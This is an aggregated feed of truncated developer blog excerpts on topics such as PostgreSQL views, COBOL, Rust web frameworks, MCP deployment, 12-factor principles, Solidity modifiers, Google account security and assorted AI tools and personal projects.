When working with relational databases like PostgreSQL, you often need to simplify complex queries, enforce data security, or speed up reporting. That’s where Views come in. A view is essentially a virtual table defined by a query. Instead of writing the same complex query again and again, you save it as a view and query it like a table. In this blog, we’ll explore the different types of views in PostgreSQL, their use cases, pros and cons, examples, and best practices. 📌 What is it? A view built from a single table without joins or aggregations. ✅ Why use it? Hide unnecessary columns Simplify queries Enforce limited access CREATE TABLE employees ( id SERIAL PRIMARY KEY, name TEXT, department TEXT, salary NUMERIC, active BOOLEAN ); -- Simple view showin…  ( 8 min )

你可能觉得 COBOL 是上世纪的产物，但事实是，今天全球 70% 的金融交易依然运行在 COBOL 上。本文将通过实现一个中国个人所得税计算器，展示 COBOL 的写法，并附上对应的汇编对照，让你看清楚这门“像英语”的语言如何落地到最底层的指令。 为了让大家更直观地理解 COBOL，我在这篇文章里不仅会系统讲解 COBOL 的四大 Division、数据类型、语句和内置函数，还会拿出相应的 汇编 (Assembly) 代码来做 对比。 你将会看到： COBOL 的 MOVE / COMPUTE / DISPLAY，在底层汇编里就是 MOV、ADD、CMP 这些指令。 数据定义里的 PIC 9(4) V99，在汇编里就对应一块固定大小的内存空间。 COBOL 的 EVALUATE 语句，其实就类似于汇编中的条件跳转和比较。 COBOL 的层级逻辑十分严格，基本单位如下： Division → Section → Paragraph → Sentence → Statement 类比到现代编程语言： Division ≈ 模块 Section ≈ 子模块 Paragraph ≈ 函数 Statement ≈ 语句 COBOL 的语义化极强，看起来像文档，但编译结果完全是底层机器码。 COBOL 使用 PIC（Picture Clause）描述数据的格式。例如： 01 COUNTER PIC S9(4) COMP-4. 对应汇编： mov eax, 1234 mov [COUNTER], eax 在金融系统中，COMP-3（packed decimal）用得尤其多，因为它能保证十进制精度。 下面分步骤给出 COBOL 程序和汇编对照。 IDENTIFICATION DIVISION. PROGRAM-ID. CHINESE-TAX-SYSTEM. AUTHOR. LING…  ( 6 min )

🚀 If you visit just ONE portfolio today, make it this one! After months of learning, experimenting, and building, I just launched Portfolio v5 🎉 I started my programming journey back in 2021, and ever since, I’ve made it a tradition to upgrade my portfolio every year. This isn’t just about design tweaks. it’s about growth, consistency, and challenging myself to become a better Full Stack Developer. 🔹 What’s New in Portfolio v5 Every version of my portfolio reflects the skills and technologies I’ve learned along the way. With v5, I focused on: ✅ Next.js for blazing-fast performance Tailwind CSS for clean and responsive UI design UI/UX refinements to make navigation smoother and more engaging Performance optimizations for faster load times Projects showcase highlighting real-world applications I’ve built 🔹 Tech Stack Frontend: Next.js, Tailwind CSS Backend: Prisma, MongoDB, Node.js (for project APIs) UI Components: ShadCN UI, Framer Motion animations Deployment: Vercel 🔹 Why I Keep Updating My Portfolio A portfolio isn’t just a website it’s a living record of your growth as a developer. Track my personal progress 📈 Showcase new projects and skills 🛠 Improve design and user experience 🎨 Stay motivated to keep learning 💡 🔹 Check It Out 👉 You can explore my portfolio here: www.monirhrabby.info 🔹 Let’s Connect! I’d also love to see your portfolios— 💬 Drop your link in the comments, and let’s inspire each other with fresh ideas!  ( 6 min )

GitHub Homepage: https://github.com/hyperlane-dev/hyperlane My deep dive into context management began during a performance optimization project where I discovered that inefficient request context handling was creating memory leaks and performance bottlenecks. Traditional web frameworks often treat context as an afterthought, leading to resource waste and complex state management. This experience led me to explore how sophisticated context management can dramatically improve both performance and developer experience. The pivotal insight came when I realized that request context isn't just about passing data between functions—it's about creating an efficient, type-safe mechanism for managing the entire request lifecycle. My research revealed a framework that implements context management pa…  ( 12 min )

Introduction In the rapidly evolving landscape of software development, artificial intelligence has transitioned from a niche enhancement to a foundational element in building applications. As developers, entrepreneurs, and businesses seek to create smarter, more efficient apps, the question arises: What is the most effective AI tool for app development today? The answer isn't straightforward—it's not about a single tool dominating the field but rather an ecosystem of technologies that cater to different needs, from coding and prototyping to deployment and personalization. AI tools are democratizing app development, enabling both seasoned programmers and non-technical users to bring ideas to life faster than ever. They handle everything from generating code in natural language to optimiz…  ( 11 min )

Deploying AI agents that leverage the Model Context Protocol (MCP) in production environments presents exciting opportunities and equally formidable challenges. While MCP enables dynamic tool invocation and seamless integration with external services, it also exposes new attack surfaces and operational complexities. In this article, we explore how to make MCP-based systems reliable, observable, and secure at scale. We provide a thorough, actionable guide to implementing logging, metrics, alerting, and permission models, so that your production MCP deployments remain robust and safe. MCP servers handle dynamic JSON-RPC calls from AI agents. This highly flexible model brings these key challenges: Non-static behavior: Agents generate unpredictable workloads unlike fixed REST endpoints, usage …  ( 8 min )

Building India's First Real-Time Multilingual AI Companion: A Developer's Journey After a year of development hell, countless debugging sessions, and an obsession with making AI truly understand Indian culture, I finally shipped AI Associate — a real-time multilingual AI companion that doesn't just translate languages but gets our cultural context. 🎬 Demo Video | 🚀 Try it Live | 💻 GitHub Repo Picture this: You're talking to your AI assistant in Hindi, asking "अरे यaar, आज कैसा weather है?" (mixing Hindi-English naturally). It responds with robotic, grammatically perfect Hindi that sounds like Google Translate having a bad day. This is the reality for 1.4 billion Indians. While Silicon Valley builds AI for English speakers, we're stuck with translation tools that miss the soul of our c…  ( 8 min )

For years, the stereotype of a developer has been someone working quietly behind the scenes, producing elegant code but rarely stepping into the spotlight. That stereotype no longer reflects reality. In 2025, successful developers are not just engineers—they are also communicators, collaborators, and even strategists. The shift comes from a simple truth: great products do not succeed by technical merit alone. They succeed when people understand them, trust them, and choose them over alternatives. And that understanding comes from communication, visibility, and narrative—all of which live at the intersection of development and public relations (PR). Software development has become increasingly collaborative. Modern projects require distributed teams, cross-functional partners, and stakehold…  ( 7 min )

TL;DR Laura Kampf hosted a huge in-person shop event for 400 people—and managed to sell out every single item. She calls it one of her toughest yet most rewarding experiences and is excited to “let go” and move on to new projects. If you dig her creative work, grab 10% off your first Squarespace site or domain with code LAURAKAMPF, check out her designs at laurakampf.shop, or support her on Patreon. You can also follow her builds on Instagram and Facebook, and see her collabs with Festool and Lincoln Electric. Watch on YouTube  ( 5 min )

Sam Altman Addresses ChatGPT 5 Backlash, Warns of AI Bubble\n\nOpenAI CEO Sam Altman has once again stirred the tech world, this time by directly addressing the simmering concerns around ChatGPT 5 and issuing a stark warning about the current state of artificial intelligence investment. His recent statements highlight a pivotal moment for AI, as the initial euphoria begins to give way to more pragmatic discussions about sustainability and real-world impact. Altman, a central figure in the generative AI revolution, is now navigating the complex terrain of public expectation and investor enthusiasm, a task that requires both foresight and candid communication.\n\nThe 'backlash' around ChatGPT 5 isn't necessarily a unified public outcry against the unreleased model itself, but rather a reflec…  ( 9 min )

GitHub Homepage: https://github.com/hyperlane-dev/hyperlane My journey into HTTP response optimization began during a project where we needed to serve large datasets to web clients efficiently. Traditional approaches of building complete responses in memory before sending created both latency and memory pressure issues. This challenge led me to explore streaming response techniques that could dramatically improve both performance and user experience. The breakthrough came when I realized that most web frameworks treat response generation as a monolithic operation, missing opportunities for optimization through streaming, compression, and intelligent buffering. My research revealed a framework that implements sophisticated response handling patterns optimized for both throughput and latency…  ( 12 min )

選定理由&所感 中国の国防科技大学の研究、MDPI2025 Paper: https://www.mdpi.com/2079-9292/14/5/1012 国防でこの技術をつかうのだろうか。 【社会課題】 【技術課題】 マルチホップ推論では不十分な性能である。一方で知識グラフは構造の複雑さやタスクに対する不確定さを内包するため両者をそのまま組み合わせても、精度と解釈性の両立が難しい。 【提案】 KG内のMetapath（概念間の意味的経路）を抽出し、LLMにプロンプトとして与える。 LLMが推論経路を言語的に計画 → KGから事実を検証 → 推論を反復的に精緻化。 このプロセスにより、意味理解・構造把握・事実検証を融合。 【効果】 一般的な解説部分は分かりづらいので4.2.5節のWebQSPデータの例で説明する。 質問「iPodはどのOSと互換性がありますか？」のMetaPathとしてLLMのゼロショットで出力した例は以下である： iPod → compatible_oses → Mac OS → developer → Apple Inc. → name → "Apple Inc." MetaPathに基づいて 初期エンティティ iPod（ID：/m/02hrh0）を知識グラフから取得。そこから知識グラフ上の隣接関係にあるノードを取得し次のステップ候補とする(スターサンプリング)。 隣接ノード集合それぞれに対し、MetaPathで指定された関係性（例：/computer/hardware_device/compatible_oses）をLLMに判断させる。その後、隣接ノードへ移動し、そのノードの隣接ノード集合を取得しながら、グラフの局所情報をLLMへ入力しLLMが経路選択を行う。これを繰り返し、質問に答えるのに必要なノードに到達するまで続ける。 経路が確定し「答えに到達した」とLLMが判断した時点で、経由したエンティティ全体をまとめてLLMに最終プロンプトとして入力する。その結果が「Apple Inc.」として出力される。 データセット名 種別 質問数 学習 テスト 特徴 WebQSP QA 4,737 3,780 957 意味解析付き、知識ベースQA向け、SPARQL付き CWQ QA 34,689 27,734 3,475 複雑な構造、多段階推論（論理演算・比較・上位語など） HOTPOT-QA Multi-Hop QA 約100,000 不明 不明 橋渡し型/比較型、複数文書を統合して回答 MUSIQUE Multi-Hop QA 約25,000 不明 不明 2～4ステップ推論、中間質問・回答あり、文単位アノテーションなし MPC（Metapathの構築）は推論経路の事前初期化を行う処理であるが、関連エンティティの特定に重要な役割を果たしているため、除去すると最も大きく性能が低下した。IV（反復的検証）はステップごとに経路の妥当性を検証・洗練しており、複雑なマルチホップ推論でのハルシネーションの抑止に重要。最後にPRC（事後検証）の役割は最終回答に対する事実整合性と信頼性の評価であるため、除去しても精度は比較的保たれていた。 Direct Prompting(通常のプロンプト), Chain of Thought, One-step Retrievalなどの従来手法と比較してもマルチホップ推論のデータセットで高精度であることがわかる。  ( 5 min )

GitHub Homepage: https://github.com/hyperlane-dev/hyperlane My journey into real-time web communication began during a hackathon where our team needed to build a collaborative document editor. Traditional HTTP polling felt clunky and inefficient, leading me to explore WebSocket technology. What I discovered was a framework implementation that not only simplified WebSocket development but delivered performance characteristics that completely changed my understanding of real-time web applications. The breakthrough moment came when I realized that most WebSocket implementations add unnecessary complexity to what should be a straightforward communication protocol. My exploration revealed a framework that treats WebSocket as a natural extension of HTTP, enabling seamless real-time communication…  ( 10 min )

When you're building your first AI system, you face this choice: use the official SDK or roll your own HTTP calls? I chose wrong, then right, then learned why this decision matters more than you think. Six months ago, I started building a multi-agent AI system. The first architectural decision? How to talk to OpenAI's API. The "obvious" choice seemed to be direct HTTP calls with requests. Simple, fast, no dependencies. I was wrong. Here's what I learned building a production system that handles thousands of agent interactions. Why it feels right: import requests def call_openai(prompt): response = requests.post( "https://api.openai.com/v1/chat/completions", headers={"Authorization": f"Bearer {api_key}"}, json={ "model": "gpt-4", "message…  ( 7 min )

🚀 Automate Your Work with n8n! n8n is an open-source automation tool that connects your apps and services—without writing complex code. ✨ Examples : Auto-send new form submissions to Google Sheets 📊 👉 Start automating today: https://n8n.io  ( 5 min )

GitHub Homepage During my junior year studies, high concurrency processing has always been one of the technical fields I'm most interested in. While traditional multi-threading models can handle concurrent requests, they often encounter performance bottlenecks when facing large numbers of connections. Recently, I deeply studied a Rust-based web framework whose high concurrency processing capabilities gave me a completely new understanding of asynchronous programming. In my previous projects, I used thread pool-based concurrency processing models. This model allocates a thread for each request, and while implementation is simple, it has obvious scalability issues. // Traditional Java thread pool model @RestController public class TraditionalController { private final ExecutorService th…  ( 10 min )

When working with the new Next.js App Router, I noticed most existing SEO libraries (like next-seo) were designed for the old Pages Router. They still work, but often feel like workarounds instead of being fully aligned with generateMetadata and static rendering. That’s why I built amphibian-seo — a modern, App Router-first SEO toolkit that integrates seamlessly into the new Next.js architecture. Built for App Router – Native support for generateMetadata, no wrappers or hacks. Full SEO coverage – Titles, descriptions, OpenGraph, Twitter Cards, robots directives, canonical URLs, JSON-LD, preload assets, and more. TypeScript-first – Complete typings for all metadata options, helping you avoid mistakes. Dynamic templates – Title patterns like %title% | %siteName% for consistent branding. Security & performance – Add security meta tags and preload critical assets with ease. SSR and static ready – Designed to work with Next.js’s static and server rendering out of the box. If you’re moving to or already using the App Router, this package is a better fit than older SEO libraries that were never designed for it. // app/layout.tsx import { Metadata } from 'amphibian-seo'; export function generateMetadata() { return Metadata({ title: { default: 'My Site', template: '%title% | My Site', }, description: 'A modern SEO setup for Next.js App Router', canonicalUrl: 'https://mysite.com', openGraph: { title: 'My Site', type: 'website', url: 'https://mysite.com', images: [ { url: 'https://mysite.com/og.png', width: 1200, height: 630 }, ], }, twitter: { card: 'summary_large_image', site: '@mysite', }, }); } 📦 npm: amphibian-seo If you’re already using the App Router, give it a try and let me know your thoughts — contributions and feedback are more than welcome.  ( 6 min )

Have you ever had this experience? You only used ChatGPT three times in a month, but still paid the full \$20 subscription fee. What’s worse, if you want to try Claude, MidJourney, or Runway, you need to subscribe to each of them separately. Your monthly bill can easily go over \$100, even though you barely used any of them. Most of the time, that money just goes down the drain. Personally, I find this wasteful. Many people don’t use AI tools every day — they just need them occasionally. But current pricing models don’t offer that freedom. You either subscribe, or you don’t use the tool at all. And beyond the cost, tool switching is a huge pain. Today’s AI tools are scattered across different websites. Every time you want to use a feature, you open a new tab, log in to a new account. You use GPT for writing, Kling for video, MidJourney for images, Runway for editing... Constantly switching windows, tabs piling up — the experience is terrible, and productivity takes a big hit. You're paying premium prices, but getting complexity and inefficiency in return. That’s exactly why I created YooAI. The idea behind YooAI is simple: bring the major AI tools together in one place, and let you pay only for what you use. No more being locked into subscriptions. No more paying “just in case.” Want to try a new feature? Go ahead. Only need it a few times a month? No problem — you won’t feel guilty about it. All tools are accessible from a single entry point. No more jumping between platforms. You can write, draw, generate videos — all in one place. No more account switching, tab overload, or billing confusion. And most features on YooAI are free. Only advanced models require payment due to higher usage costs. The goal of YooAI is simple:To let everyone use AI — easily, freely, and without pressure.  ( 6 min )

iusearchbtw 😎 Welcome, internet traveler! 🌐 You've just stumbled upon iusearchbtw, the programming language that refuses to be normal. Forget print() or console.log() – here, the only command that matters is: i use arch btw Take a parenthesis: ( ... ) Fill it with i use arch btw repeated N times. N determines the character that comes out. Uppercase, lowercase, symbols, even space – all fair game. Yep. That’s it. That’s the language. Count Char Count Char 1 A 14 N 2 B 15 O 3 C 16 P 4 D 17 Q 5 E 18 R 6 F 19 S 7 G 20 T 8 H 21 U 9 I 22 V 10 J 23 W 11 K 24 X 12 L 25 Y 13 M 26 Z 27 a 40 n 28 b 41 o 29 c 42 p 30 d 43 q 31 e 44 r 32 f 45 s 33 g 46 t 34 h 47 u 35 i 48 v 36 j 49 w 37 k 50 x 38 l 51 y 39 m 52 z 53 . 54 - 55 _ 56 ( 57 ) 58 { 59 } 60 [ 61 ] 62 (space) Download the binary from the release. Make it executable: chmod +x iusearchbtw Run a .iusearchbtw file: ./iusearchbtw your_message.iusearchbtw Watch the magic happen. ✨ Encode secret messages to troll friends. Make ASCII art entirely with i use arch btw lines. Send someone a .iusearchbtw file and watch them scratch their heads. Experiment with huge counts for absurd characters. MIT License. Be awesome, spread chaos, and may your terminals forever chant: i use arch btw github  ( 6 min )

GitHub Homepage: https://github.com/hyperlane-dev/hyperlane As a junior computer science student diving deep into web development, I've spent countless hours exploring different frameworks and their performance characteristics. My journey led me to discover something remarkable that completely changed my perspective on what modern web servers can achieve. During my recent internship at a tech startup, our team faced a critical challenge. Our existing Node.js backend was struggling under heavy load, with response times climbing above acceptable thresholds. The senior developers were debating between migrating to Go with Gin framework or sticking with more familiar territory. That's when I stumbled upon something that would revolutionize our approach entirely. My exploration began with a sim…  ( 8 min )

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Hey everyone, I have this idea for an Android app and I want to use AI agents that I can control with prompts. My computer isn’t super powerful but should handle low- to medium-sized models, maybe up to 13B parameters. I’m new to all this and kinda lost. Like, which Linux distro should I even use for running these models? And what model under 13B would actually be good for helping me write code? Also, how do I make the AI safely access files and manage stuff on my computer? Any tips, examples, or guides would be awesome. Thanks!  ( 5 min )

This is part 4 in the SBOM series of blog posts While working on the SBOM::CycloneDX one of the fields caught my eye: purl. Initially I thought: "what does that have to do with our sister language"? It quickly became clear that this was about a Package URL. From the README: A purl or package URL is an attempt to standardize existing approaches to reliably identify and locate software packages. And the list of adopters is already pretty impressive. But, as there was no support for PURLs in Raku yet, it also meant support for it had to be created. I decided to write the support it, which was also quite a task. Since I wanted SBOM::CycloneDX to be able to support the entire functionality of the CycloneDX 1.6 definition, I had no choice but to implement the whole of the PURL specification (…  ( 7 min )

GitHub Homepage: https://github.com/hyperlane-dev/hyperlane During my third year studying computer science, I encountered a fundamental challenge that many developers face: how do you achieve extreme performance without sacrificing memory safety? My journey through various web frameworks led me to a discovery that fundamentally changed my understanding of what's possible in modern server development. The catalyst for my research came during a distributed systems course project. Our professor challenged us to build a web server capable of handling 100,000 concurrent connections while maintaining memory safety guarantees. Most students immediately gravitated toward C++ for raw performance, accepting the inherent memory management risks. I chose a different path. Traditional high-performance …  ( 8 min )

Principle #9: Disposability Goal: Maximize robustness and agility by making processes fast to start and stop, and able to shut down gracefully without losing work. Fast startup: Processes should initialize quickly so they can be brought online rapidly when demand increases. Graceful shutdown: When a process is stopped, it should finish ongoing work or save necessary state before exiting. Crash resilience: Processes can be stopped or restarted at any time without causing data loss or application failure. Support for scaling: Fast start/stop makes it easier to scale up and down in response to demand. Why It Matters High availability: Quickly replace failed processes to keep the app running smoothly. Efficient scaling: Add or remove capacity instantly. Reliable deployments: Rolling updates happen faster and with less downtime. Better recovery: System can recover from failures with minimal disruption. Example A payment processing system: Worker processes handle payment requests from a queue. When scaling down, the process finishes processing the current payment before shutting down. New processes can start within seconds to handle sudden spikes in transactions. Best Practices Design processes to start within seconds. Ensure processes handle termination signals gracefully. Avoid long-running in-memory tasks; use external queues or storage. Test scaling scenarios regularly. Use orchestration tools to manage process lifecycle. Takeaway: Fast, disposable processes improve scalability, reduce downtime, and make your application more resilient to change and failure.  ( 5 min )

The Beginning: When Concrete Meets Code At 37, I was a civil engineer working on infrastructure projects - bridges, roads, and building foundations. My days were filled with CAD software, structural calculations, and construction site meetings. The most "programming" I'd done was writing Excel macros to automate load calculations. But I had a side hobby: creating time-lapse videos of construction projects for social media. The problem? Every video needed background music, and licensing costs were eating into my tiny side project budget. Royalty-free sites offered either expensive tracks or generic music that made every construction video sound the same. When AI music generation started making headlines, my engineering brain kicked in: "If AI can generate text and images, why not solve th…  ( 16 min )

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Principle #8: Concurrency Goal: Scale your application by running multiple processes for different types of work, rather than making a single process do more. Scale out, not up: Instead of making one process bigger, run more processes to handle more load. Process types: Use different processes for different tasks — for example, one type for handling web requests, another for background jobs. Horizontal scaling: Add more processes or instances to handle increased demand. Quick start/stop: Processes should be able to start and stop quickly to adapt to changing loads. Why It Matters Flexibility: Easily adjust capacity for different types of workloads. Performance: Prevents one heavy task from slowing down the entire app. Resilience: If one process type fails, others can continue working. Cost control: Scale only the parts of the app that need more resources. Example An online food delivery platform: Web processes: Handle incoming orders and customer interactions. Worker processes: Process payments, send notifications, and update order statuses. During peak hours, the platform adds more worker processes to handle increased order volumes without affecting the web processes. Separate different tasks into different process types. Use process managers or orchestration tools (Kubernetes, ECS) for scaling. Monitor each process type separately. Make processes start and stop quickly. Keep processes stateless to make scaling seamless. Takeaway: Break your app into multiple small, stateless processes for different tasks, and scale them independently to match demand and improve performance.  ( 5 min )

GitHub Homepage: https://github.com/hyperlane-dev/hyperlane My fascination with asynchronous programming began during a project where our synchronous web server could barely handle 100 concurrent users. The blocking I/O operations created a bottleneck that no amount of hardware could solve. This experience drove me to explore asynchronous programming patterns that could transform our application's scalability and performance characteristics. The paradigm shift came when I realized that asynchronous programming isn't just about performance—it's about fundamentally rethinking how applications handle concurrent operations. My research revealed a framework that demonstrates how sophisticated async patterns can be both powerful and intuitive, enabling developers to build highly concurrent appli…  ( 12 min )

Vnoder – Visualize Your Codebase 🚀 If you've ever joined a large project and thought: "Where do I even start?!" — you're not alone. When working on codebases with hundreds of files, figuring out: How components are connected Which files are unused Where your dependencies come from ... can be painful. As projects grow, so does complexity. Even with good folder structures, finding: Unused files Empty files Cyclic dependencies ... often requires manual searching or running multiple scripts. Vnoder.com Vnoder is a free tool that instantly visualizes your codebase. You can upload your local project or connect GitHub, and in seconds you get: ✅ Interactive graph view of all files and connections ✅ File type filtering (components, utils, pages, hooks, etc.) ✅ Empty / unused / cyclic file detection ✅ Focus mode to analyze just one part of the project Upload your project folder or link your GitHub repo Vnoder parses all import / export statements You get an interactive dependency map Filter, search, and clean your codebase 🚀 📸 Features in Action Full Graph View See the entire architecture of your project at a glance. Click any file to zoom in and see only its direct connections. Analyze just one folder (e.g., components/, utils/). Spot files that are never imported anywhere. Highlight forgotten placeholder files. Catch problematic cycles before they cause bugs. I was tired of jumping between files just to understand how a project was structured. Now, I can see the entire architecture at a glance and quickly spot unused or problematic code. Vnoder is free to try → https://vnoder.com If you find it useful, let me know in the comments — I’d love feedback and ideas for new features! ✨  ( 6 min )

If you’ve been vibing with AI coding tools like bolt.new, altan.ai, or Lovable, this article is for you. It’s about taking your AI-generated UI from decent to damn, that looks good. I’ve been experimenting with these AI tools for a while now, and honestly? the UIs they generate are honestly pretty decent! You get working interactions, clean layouts, and some visual polish. But let’s be real: what AI gives you out of the box still needs a little love. Most of them lean heavily on shadcn/ui as the foundation — which is fine, but kind of obvious. You don’t have to settle for that “AI starter pack” look, there are plenty of libraries you can use, and I’ll show you some of my favourites below. Just copy-paste a component into your project, tweak the colours to match your brand, and you’ll save hours while making your UI actually stand out! Origin UI skiper/ui Kibo UI SHSF UI Mvpblocks 💡 Pro tip for adding some personality: Motion (prev Framer Motion) - Smooth animations and micro-interactions React Spring - Physics-based animations that feel natural Lottie React - Beautiful animated illustrations and icons You can also mix and match these libraries! Use shadcn/ui as your foundation, then layer on the missing pieces. At the end of the day, AI can give you a solid foundation. But the magic happens when you add your own creative touch 😉  ( 5 min )

Revolutionizing Code Testing: Uber's Toolbox of AI Innovations Introduction In the ever-evolving world of software development, the race is on to streamline processes and produce high-quality code without breaking a sweat. Luckily, Uber has rolled up its sleeves and has crafted some tantalizing technological treasures to give developers a leg up in this relentless chase. Welcome aboard the metaphorical Uber shuttle, as we explore their innovative tools, including an Assistant Builder, Picasso, and U Review – all laced with a sprinkle of conversational AI magic. Imagine launching your own customized chatbot equivalent to having a snack drawer that’s never empty. That’s essentially what the Uber Assistant Builder brings to developers—an internal hub that morphs rich Uber-specifi…  ( 7 min )

Exploring the Power of Rust and Go in Backend Development: Insights from Web Developer Travis McCracken As a passionate web developer with a focus on backend engineering, I've been diving deep into the landscapes of Rust and Go to build fast, reliable, and scalable APIs. Over the years, I've found that choosing the right tools for backend development can dramatically influence the performance and maintainability of your projects. Today, I want to share some insights into how these modern languages are transforming the way we approach backend systems, along with some of my latest explorations in open-source projects. Rust — The Perfect Blend of Safety and Speed Rust has gained considerable attention for its emphasis on safety without sacrificing performance. Its ownership model minimizes bu…  ( 7 min )

GitHub Homepage: https://github.com/hyperlane-dev/hyperlane During my software architecture course, our team faced a challenge that many organizations encounter: building a microservices system that's both performant and maintainable. Traditional microservices frameworks often introduce significant overhead, making individual services resource-hungry and complex to deploy. My exploration led me to discover a lightweight approach that revolutionizes microservices development. The turning point came when I realized that most microservices frameworks are over-engineered for their intended purpose. A single microservice should be focused, efficient, and lightweight. My research revealed a framework that embodies these principles while delivering exceptional performance characteristics. Traditi…  ( 9 min )

Introduction: Motivation behind it was quite simple honestly, I just wanted to test some AI based features, so I thought why not make a simple project out of it. This is a very minimal AI based notetaker that has some good functionalities built in, like searching with debouncing, AI based summarization of notes, Markdown preview etc. It was a simple project that was so fun to make, hopefully you'll like it too, so let's start building SHALL WE ! Debouncing based note search Pinning and sorting of notes Markdown preview of notes AI based summarization of notes, during creation as well as after creation note-taker/ ├─ node_modules/ ├─ public/ ├─ src/ │ ├─ assets/ │ ├─ components/ │ │ ├─ Navbar.jsx │ │ ├─ NoteInput.jsx │ │ ├─ NotesCard.jsx │ │ ├─ NotesList.jsx │ │ └─ SearchBar.j…  ( 11 min )

The world is in the midst of an AI and machine learning revolution, with innovations emerging at an unprecedented pace. From generating stunning images to powering intelligent chatbots, AI is transforming industries. However, this rapid advancement comes with a significant challenge: the insatiable demand for computational power. Developers and data scientists often find themselves limited by their local hardware, struggling with expensive upgrades, complex setups, and the sheer scale required for modern AI workloads. The frustration is real. This is precisely where RunPod cloud computing steps in, offering a specialized GPU cloud solution designed to supercharge your AI endeavors and overcome these hardware bottlenecks. Think of RunPod as your personal, super-powered computer lab in the c…  ( 9 min )

Preface In solidity, modifier controls access permission of function or state. public variables automatically generate getters. private variables can be only accessed in the inner contract. 3.internal variables can be accessed in the inner contract and sub contract， external cannot call 4.external functions cannot be called internally with this view view functions can read but not modify state. call don't consume Gas pure pure functions do not read or modify state. default modifier can modify state, external calls need transaction and consume Gas. Modifier External Call Inner Call Sub Contract Call Modify State Read State public ✅ ✅ ✅ ✅ ✅ external ✅ ❌ (this) ❌ (this) ✅ ✅ internal ❌ ✅ ✅ ✅ ✅ private ❌ ✅ ❌ ✅ ✅ view ✅ ✅ ✅ ❌ ✅ pure ✅ ✅ ✅ ❌ ❌  ( 5 min )

SEO Friendly Slug: 7-essential-google-settings-to-prevent-account-hacking google account security, prevent hacking, two-factor authentication, secure google settings আজকের ডিজিটাল যুগে, গুগল অ্যাকাউন্ট আমাদের জীবনের একটি অবিচ্ছেদ্য অংশ। Gmail, YouTube, Google Drive, Maps সহ অসংখ্য সার্ভিস এই অ্যাকাউন্টের মাধ্যমে অ্যাক্সেস করা হয়। কিন্তু যদি এই অ্যাকাউন্ট হ্যাক হয়ে যায়, তাহলে ব্যক্তিগত তথ্য, ছবি, ডকুমেন্টস এবং এমনকি আর্থিক তথ্যও ঝুঁকিতে পড়তে পারে। সাইবার অপরাধীরা প্রতিনিয়ত নতুন কৌশল ব্যবহার করে অ্যাকাউন্ট হ্যাক করার চেষ্টা করে। তাই, গুগলের কয়েকটি অতিগুরুত্বপূর্ণ সেটিংস সক্রিয় না করলে আপনার অ্যাকাউন্টের নিরাপত্তা দুর্বল হয়ে যায়। এই আর্টিকেলে আমরা আলোচনা করব গুগলের ৭ টি অতিগুরুত্বপূর্ণ সেটিংস যা না করলে অ্যাকাউন্ট হ্যাক হওয়ার ঝুঁকি বাড়ে। এই সেটিংসগুলো সহজেই সক্রিয় করা যায় এবং এগুলো আপনার অ্…  ( 8 min )

One line, real reasoning. WFGY 2.0 is a pure-math control layer you can paste into any chat model to make outputs sharper, steadier, and recoverable — no prompts, no hacks, no retraining. Repo: https://github.com/onestardao/WFGY/tree/main/core/README.md ✅ Engine 2.0 is live. Two editions: Flagship (readable, ~30 lines) and OneLine (ultra-compact). MIT License. What: WFGY 2.0 — a 7-step reasoning engine that runs inside GPT-style chats (text-only). Why: Turns language into structure, preventing collapse, drift, and storyboard grids. Proof: Eye-Visible 5-image benchmark — same model & settings, only WFGY on/off differs. Numbers: Semantic Accuracy ≈ +40% · Reasoning Success ≈ +52% · Drift ≈ −65% · Stability ≈ 1.8×. Start: Download the OneLine file, upload, and AutoBoot supervises in …  ( 7 min )

I built NODDY v1—a from-scratch, PyTorch-only DETR pipeline fine-tuned to spot sign language gestures (but you can totally repurpose it for other object detection tasks). It handles everything from loading my pre-trained transformer to running live detections on your webcam. You’ll also get tools for gathering custom training data and fine-tuning with or without my weights. Dive into the code on GitHub and start experimenting today! Watch on YouTube  ( 5 min )

Weekly Challenge 334 Each week Mohammad S. Anwar sends out The Weekly Challenge, a chance for all of us to come up with solutions to two weekly tasks. My solutions are written in Python first, and then converted to Perl. It's a great way for us all to practice some coding. Challenge, My solutions You are given a list integers and pair of indices.. Write a script to return the sum of integers between the given indices (inclusive). This is relatively straight forward, so doesn't require too much explanation. For the input from the command line, I take the x and y values from the last two numbers, and the rest is the list of integers. I first check that the x and y values are valid (between 0 and one less than the length of the integers) and that x is less than or equal to y. I then use the…  ( 9 min )

Sunday hit different today. Not because I slept in (though that helped), but because of a single conversation with a senior who actually builds things. You know those chats that cut through all the noise and make things crystal clear? This was one of those. Sometimes it's not about consuming more content or joining another course. Sometimes you just need someone who's been there to point out what you're missing. Today's conversation was exactly that - a reality check wrapped in genuine advice. Linear regression starts tomorrow. Finally moving beyond the basics and diving into something with real application potential. Project Mutiny is still cooking. May 2026 deadline feels long, but we're a two-person team building something that matters. And yes, it's actually two people - me and a brilliant developer who happens to be a woman (wild concept, I know). Had someone today think our Discord server WAS the project. Nope. The server is just networking space while we build the real thing. It's where ideas bounce around and connections happen, but the actual project? That's brewing behind the scenes. If you want to join the conversation: https://discord.gg/BjykX6YuRb Here's what's interesting about not grinding 24/7 but showing up consistently: clarity emerges. You start seeing the next 12 months mapped out. Where you'll be, what you'll be building, who you'll be working with. Life's unpredictable, sure. But having that vision - even accounting for chaos - makes navigation easier. Not every day brings breakthroughs. Most days are just showing up and doing the work. But days like today remind you why consistency compounds. Tomorrow: linear regression and building something that won't be ready for months. Worth it. Building Project Mutiny - join us: https://discord.gg/BjykX6YuRb  ( 6 min )

Special Focus on Software Testing Today was a special learning day because I stepped outside of pure Data Analytics and explored Software Testing. It gave me a clear idea of how software quality is ensured before reaching users. Here’s what I covered: What is Software Testing? – Process of verifying that software works as expected and is free of defects. What is Quality? – Meeting customer needs with reliability, efficiency, and performance. Types of Software – System software, application software, utility software, etc. Upgrades & Compatibility Upgrade testing Compatibility testing Backward compatibility Browser compatibility Black Box Testing – Focus on input/output without knowing internal code. White Box Testing – Tests internal structure and logic of code. Principles of Testing – Testing shows presence of defects, exhaustive testing is impossible, early testing saves cost, etc. BRS (Business Requirement Specification) FRS (Functional Requirement Specification) SRS (Software Requirement Specification) Liberal BRS (more flexible requirement definition) RTM (Requirement Traceability Matrix) – Maps requirements to test cases. SDLC (Software Development Life Cycle) STLC (Software Testing Life Cycle) Bugzilla – Defect tracking tool. Example: Test Case ID: TC_001 Title: Login with valid credentials Precondition: User must be registered Steps: Enter username & password → Click login Expected Result: User successfully logs in Our team also presented a seminar on Bug Life Cycle. 7 stages: New Assigned Open Fixed Retested Verified Closed  ( 6 min )

